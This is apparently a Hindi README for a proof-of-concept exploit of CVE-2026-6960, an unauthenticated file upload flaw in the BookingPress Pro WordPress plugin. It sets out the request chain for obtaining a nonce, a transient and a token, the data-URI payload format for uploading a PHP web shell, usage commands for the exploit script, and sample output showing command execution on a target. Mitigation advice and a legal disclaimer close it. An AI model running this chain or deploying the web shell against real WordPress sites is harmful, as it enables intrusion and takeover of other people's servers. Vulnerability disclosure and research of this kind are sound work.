
CVE-2026-6960 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण: BookingPress Pro ≤ 5.6 में बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड। डेटा URI इंजेक्शन के माध्यम से PHP वेब शेल अपलोड करने की 3-चरण श्रृंखला को स्वचालित करता है, जिससे कमजोर WordPress साइटों पर रिमोट कोड निष्पादन प्राप्त होता है।
अनुसंधान द्वारा: Atomic Edge गंभीरता: गंभीर | CVSS: 9.8 | प्रमाणीकरण आवश्यक: कोई नहीं
⚠️ v2 — तकनीकी सुधार लागू समुदाय की प्रतिक्रिया के आधार पर। विवरण के लिए चेंजलॉग देखें।
BookingPress Pro WordPress प्लगइन (संस्करण ≤ 5.6) में एक गंभीर अप्रमाणित मनमानी फ़ाइल अपलोड भेद्यता मौजूद है। बुकिंग सबमिशन हैंडलर bookingpress_book_appointment_booking एक हस्ताक्षर कस्टम फ़ील्ड मान को के रूप में संसाधित करता है। प्लगइन रेगेक्स के माध्यम से URI के MIME प्रकार भाग से फ़ाइल एक्सटेंशन निकालता है और इसे सीधे को भेजता है — बिना किसी एक्सटेंशन अनुमति सूची या ब्लॉक सूची के। यह एक हमलावर को PHP वेब शेल को वेब-सुलभ निर्देशिका में लिखने और प्राप्त करने की अनुमति देता है।
file_put_contents()| गुण | विवरण |
|---|---|
| प्लगइन | BookingPress Pro (bookingpress-appointment-booking-pro) |
| प्रभावित संस्करण | ≤ 5.6 |
| में सुधार | 5.7 |
| वेक्टर | नेटवर्क / अप्रमाणित |
| AJAX क्रिया | bookingpress_book_appointment_booking |
| मूल कारण | डेटा URI में हमलावर-नियंत्रित MIME प्रकार से एक्सटेंशन निकाला गया → बिना अनुमति सूची के file_put_contents() |
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
⚠️ साइट के शोषण के लिए निम्नलिखित सभी सत्य होना चाहिए:
≤ 5.6 चलाने वाली साइटें बिना हस्ताक्षर कस्टम फ़ील्ड कॉन्फ़िगर किए इस वेक्टर के माध्यम से शोषण योग्य नहीं हैं।
1. GET /booking-page/
└─ पेज स्रोत से _wpnonce निकालें
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ सर्वर-साइड टाइमस्लॉट ट्रांज़िएंट कुंजी प्राप्त करें
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ प्री-बुकिंग सत्यापन टोकन प्राप्त करें
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ प्लगइन MIME प्रकार से "php" निकालता है → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE की पुष्टि
भेद्य कोड पथ हस्ताक्षर फ़ील्ड मान को डेटा URI के रूप में संसाधित करता है:
data:image/{ext};base64,{base64_encoded_content}
BookingPress रेगेक्स मैच का उपयोग करके MIME प्रकार से {ext} निकालता है, फिर डिकोड की गई सामग्री को file_put_contents() का उपयोग करके डिस्क पर लिखता है जिसमें वह एक्सटेंशन फ़ाइल नाम में जोड़ा जाता है — कोई अनुमति सूची जाँच नहीं की जाती। MIME प्रकार के रूप में image/php प्रदान करने से अपलोड निर्देशिका में .php फ़ाइल लिखी जाती है।
यह मानक मल्टीपार्ट फ़ाइल अपलोड से मौलिक रूप से भिन्न है — पेलोड एक JSON बॉडी फ़ील्ड में एम्बेडेड होता है, फ़ाइल अपलोड भाग में नहीं।
pip install requests
# बेसिक — होमपेज पर बुकिंग फॉर्म, सेवा ID 1
python3 poc.py -u https://target.com
# किसी विशिष्ट पेज पर बुकिंग फॉर्म
python3 poc.py -u https://target.com --booking-page /appointments/
# कस्टम सेवा ID और शेल फ़ाइल नाम
python3 poc.py -u https://target.com -s 3 -f evil.php
# SSL सत्यापन छोड़ें
python3 poc.py -u https://target.com --no-verify
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
-u, --url | लक्ष्य WordPress URL | (आवश्यक) |
-bp, --booking-page | BookingPress फॉर्म वाले पेज का पथ | / |
-s, --service-id | BookingPress सेवा ID | 1 |
-f, --filename | शेल फ़ाइल नाम (एक्सटेंशन डेटा URI MIME में इंजेक्ट किया गया) | shell.php |
--no-verify | SSL प्रमाणपत्र सत्यापन अक्षम करें | false |
[!] पूर्व शर्त: इस शोषण के लिए एक हस्ताक्षर-प्रकार का कस्टम फ़ील्ड
साइट व्यवस्थापक द्वारा BookingPress बुकिंग फॉर्म में कॉन्फ़िगर किया जाना आवश्यक है।
[*] चरण 1/3 — _wpnonce प्राप्त किया जा रहा है: https://target.com/appointments/
[+] _wpnonce मिला: 9f1c3a72bd
[*] चरण 2/3 — टाइमस्लॉट ट्रांज़िएंट प्राप्त किया जा रहा है...
[+] टाइमस्लॉट ट्रांज़िएंट: bp_ts_a1b2c3d4
[*] चरण 3/3 — प्री-बुकिंग सत्यापन टोकन प्राप्त किया जा रहा है...
[+] सत्यापन टोकन: bp_vt_e5f6g7h8
[*] डेटा URI विधि के माध्यम से शेल अपलोड किया जा रहा है...
[*] MIME प्रकार में इंजेक्ट किया गया एक्सटेंशन: image/php
[+] अपलोड प्रतिक्रिया (HTTP 200): {"success":true,...}
[✓] शेल चालू है!
'id' का आउटपुट: uid=33(www-data) gid=33(www-data)
[→] शेल एक्सेस: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<कमांड>
image/png, image/jpeg, image/svg+xml) के विरुद्ध मान्य करेंwp_check_filetype_and_ext() का उपयोग करें→ तुरंत BookingPress Pro 5.7 में अपडेट करें।
| # | मुद्दा | v1 (गलत) | v2 (सही) |
|---|---|---|---|
| 1 | AJAX क्रिया | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | पेलोड विधि | multipart file upload with image/png | Data URI: data:image/{ext};base64,... |
| 3 | शोषण प्रवाह | सीधा अप्रमाणित POST | 3-चरणीय पूर्वापेक्षा श्रृंखला (nonce → transient → token) |
| 4 | पूर्व शर्त | दस्तावेज नहीं किया गया | हस्ताक्षर कस्टम फ़ील्ड कॉन्फ़िगर होना चाहिए |
यह रिपॉजिटरी केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग किसी भी सिस्टम के विरुद्ध सिस्टम स्वामी की स्पष्ट लिखित अनुमति के बिना न करें। अनधिकृत उपयोग CFAA (USA), Criminal Code s.342.1 (Canada), EU NIS2 Directive और अन्य लागू कानूनों का उल्लंघन कर सकता है। लेखक इस कोड के दुरुपयोग या इससे होने वाली क्षति के लिए कोई दायित्व स्वीकार नहीं करते हैं।